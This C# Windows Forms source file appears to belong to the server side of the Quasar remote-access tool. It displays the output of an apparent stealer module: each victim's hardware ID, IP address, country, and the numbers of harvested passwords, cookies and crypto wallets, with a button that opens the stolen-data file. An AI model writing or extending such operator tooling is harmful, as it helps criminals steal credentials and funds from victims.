using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmIntelixResults : Form
    {
        private readonly string _filePath;
        private readonly string _hwid;
        private readonly string _publicIp;
        private readonly string _countryCode;
        private readonly long _passwordCount;
        private readonly long _cookieCount;
        private readonly int _walletCount;

        public FrmIntelixResults(string filePath, string hwid, string publicIp, string countryCode, 
            long passwordCount, long cookieCount, int walletCount)
        {
            _filePath = filePath;
            _hwid = hwid;
            _publicIp = publicIp;
            _countryCode = countryCode;
            _passwordCount = passwordCount;
            _cookieCount = cookieCount;
            _walletCount = walletCount;

            InitializeComponent();
            LoadResults();
        }

        private void LoadResults()
        {
            lblHwid.Text = $"HWID: {_hwid}";
            lblIp.Text = $"IP Address: {_publicIp}";
            lblCountry.Text = $"Country: {_countryCode}";
            lblPasswords.Text = $"Passwords: {_passwordCount:N0}";
            lblCookies.Text = $"Cookies: {_cookieCount:N0}";
            lblWallets.Text = $"Wallets: {_walletCount}";
            lblFilePath.Text = _filePath;
        }

        private void btnOpenFolder_Click(object sender, EventArgs e)
        {
            try
            {
                if (File.Exists(_filePath))
                {
                    Process.Start("explorer.exe", $"/select,\"{_filePath}\"");
                }
                else
                {
                    MessageBox.Show("File not found.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error opening folder: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void btnClose_Click(object sender, EventArgs e)
        {
            this.Close();
        }
    }
}
